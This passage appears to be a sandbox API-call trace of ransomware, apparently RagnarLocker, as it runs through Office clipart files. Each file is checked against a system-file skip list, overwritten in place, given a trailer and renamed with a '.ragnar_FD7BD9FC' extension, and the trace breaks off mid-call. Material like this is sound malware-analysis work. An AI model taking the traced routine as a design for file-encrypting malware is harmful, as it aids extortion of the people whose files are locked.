lpString1="J0152626.WMF") returned="J0152626.WMF" [0084.816] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned=".WMF" [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="autorun.inf") returned 1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="boot.ini") returned 1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="bootfont.bin") returned 1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="bootsect.bak") returned 1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="bootmgr") returned 1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="bootmgr.efi") returned 1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="bootmgfw.efi") returned 1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="desktop.ini") returned 1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="iconcache.db") returned 1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="ntldr") returned -1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="ntuser.dat") returned -1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="ntuser.dat.log") returned -1 [0084.816] lstrcmpiW (lpString1="J0152626.WMF", lpString2="ntuser.ini") returned -1 [0084.817] lstrcmpiW (lpString1="J0152626.WMF", lpString2="thumbs.db") returned -1 [0084.817] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.817] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.817] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.817] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.817] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.817] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.817] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 0x20 [0084.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.817] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26248) returned 1 [0084.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x667f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.817] GetProcessHeap () returned 0x580000 [0084.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.817] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.819] VirtualAlloc (lpAddress=0x0, dwSize=0x6688, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.819] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.819] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.819] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6688, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6688, lpOverlapped=0x0) returned 1 [0084.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.821] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6688, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.821] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6688, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6688, lpOverlapped=0x0) returned 1 [0084.823] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6688, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.823] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.824] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6688, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.824] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.824] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.824] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.824] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.837] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.837] GetProcessHeap () returned 0x580000 [0084.837] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.837] CloseHandle (hObject=0xf4) returned 1 [0084.837] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" [0084.837] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.ragnar_FD7BD9FC" [0084.837] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.838] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1 [0084.838] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.838] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152628.WMF" | out: lpString1="J0152628.WMF") returned="J0152628.WMF" [0084.838] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned=".WMF" [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="autorun.inf") returned 1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="boot.ini") returned 1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="bootfont.bin") returned 1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="bootsect.bak") returned 1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="bootmgr") returned 1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="bootmgr.efi") returned 1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="bootmgfw.efi") returned 1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="desktop.ini") returned 1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="iconcache.db") returned 1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="ntldr") returned -1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="ntuser.dat") returned -1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="ntuser.dat.log") returned -1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="ntuser.ini") returned -1 [0084.838] lstrcmpiW (lpString1="J0152628.WMF", lpString2="thumbs.db") returned -1 [0084.838] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.838] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.838] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.839] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.839] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.839] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.839] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 0x20 [0084.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.839] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30812) returned 1 [0084.839] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7853, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.839] GetProcessHeap () returned 0x580000 [0084.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.839] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.890] VirtualAlloc (lpAddress=0x0, dwSize=0x785c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.890] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.891] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.891] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x785c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x785c, lpOverlapped=0x0) returned 1 [0084.892] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.892] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x785c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.893] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x785c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x785c, lpOverlapped=0x0) returned 1 [0084.893] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x785c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.893] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.893] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x785c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.893] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.893] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.893] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.894] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.894] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.894] GetProcessHeap () returned 0x580000 [0084.894] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.894] CloseHandle (hObject=0xf4) returned 1 [0084.894] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" [0084.894] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.ragnar_FD7BD9FC" [0084.894] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.895] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1 [0084.895] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.895] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152688.WMF" | out: lpString1="J0152688.WMF") returned="J0152688.WMF" [0084.895] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned=".WMF" [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="autorun.inf") returned 1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="boot.ini") returned 1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="bootfont.bin") returned 1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="bootsect.bak") returned 1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="bootmgr") returned 1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="bootmgr.efi") returned 1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="bootmgfw.efi") returned 1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="desktop.ini") returned 1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="iconcache.db") returned 1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="ntldr") returned -1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="ntuser.dat") returned -1 [0084.895] lstrcmpiW (lpString1="J0152688.WMF", lpString2="ntuser.dat.log") returned -1 [0084.896] lstrcmpiW (lpString1="J0152688.WMF", lpString2="ntuser.ini") returned -1 [0084.896] lstrcmpiW (lpString1="J0152688.WMF", lpString2="thumbs.db") returned -1 [0084.896] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.896] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.896] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.896] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.896] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.896] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.896] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 0x20 [0084.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.897] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=34676) returned 1 [0084.897] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x876b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.897] GetProcessHeap () returned 0x580000 [0084.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.897] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.898] VirtualAlloc (lpAddress=0x0, dwSize=0x8774, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.899] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.899] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.899] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8774, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8774, lpOverlapped=0x0) returned 1 [0084.900] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.901] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8774, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.901] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8774, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8774, lpOverlapped=0x0) returned 1 [0084.901] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8774, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.901] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.901] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.901] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.901] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.901] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.902] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.902] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.902] GetProcessHeap () returned 0x580000 [0084.902] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.902] CloseHandle (hObject=0xf4) returned 1 [0084.902] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" [0084.902] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.ragnar_FD7BD9FC" [0084.902] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.903] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1 [0084.903] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.903] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152690.WMF" | out: lpString1="J0152690.WMF") returned="J0152690.WMF" [0084.903] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned=".WMF" [0084.903] lstrcmpiW (lpString1="J0152690.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.903] lstrcmpiW (lpString1="J0152690.WMF", lpString2="autorun.inf") returned 1 [0084.903] lstrcmpiW (lpString1="J0152690.WMF", lpString2="boot.ini") returned 1 [0084.903] lstrcmpiW (lpString1="J0152690.WMF", lpString2="bootfont.bin") returned 1 [0084.903] lstrcmpiW (lpString1="J0152690.WMF", lpString2="bootsect.bak") returned 1 [0084.903] lstrcmpiW (lpString1="J0152690.WMF", lpString2="bootmgr") returned 1 [0084.903] lstrcmpiW (lpString1="J0152690.WMF", lpString2="bootmgr.efi") returned 1 [0084.903] lstrcmpiW (lpString1="J0152690.WMF", lpString2="bootmgfw.efi") returned 1 [0084.903] lstrcmpiW (lpString1="J0152690.WMF", lpString2="desktop.ini") returned 1 [0084.904] lstrcmpiW (lpString1="J0152690.WMF", lpString2="iconcache.db") returned 1 [0084.904] lstrcmpiW (lpString1="J0152690.WMF", 